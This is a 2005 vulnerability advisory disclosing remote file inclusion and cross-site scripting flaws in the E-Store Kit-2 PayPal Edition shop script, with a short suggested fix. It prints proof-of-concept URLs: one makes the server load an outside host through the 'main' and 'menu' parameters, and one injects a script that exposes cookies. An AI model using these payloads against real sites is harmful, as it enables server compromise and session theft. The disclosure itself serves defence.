File inclusion and XSS vulnerability in E-Store Kit-2 PayPal Edition

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Severity:  High
Title: File inclusion and XSS vulnerability in E-Store Kit-2 PayPal Edition
Date: March  26,  2005

Summary:
There are file include and xss vulnerabilities in E-Store Kit-2 PayPal Edition.

Proof of Concept Exploits:

http://www.magicscripts.com/demo/ms-pe02/catalog.php?cid=0&sid='%22&sortfield=title&sortorder=ASC&pagenumber=1&main=http://whatismyip.com&;

menu=http://whatismyip.com
This results in http://www.whatismyip.com opening up on the server side resulting in possible compromise of the full 
system.

http://www.magicscripts.com/demo/ms-pe02/downloadform.php?txn_id=";><script>alert(document.cookie)</script>
This pops the cookie

Possible fix: The usage of htmlspeacialchars() and to enable safe mod in php.ini would solve these problems.

Author:
These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackersenter[DOT|NOSPAM]com, 
please feel free to 

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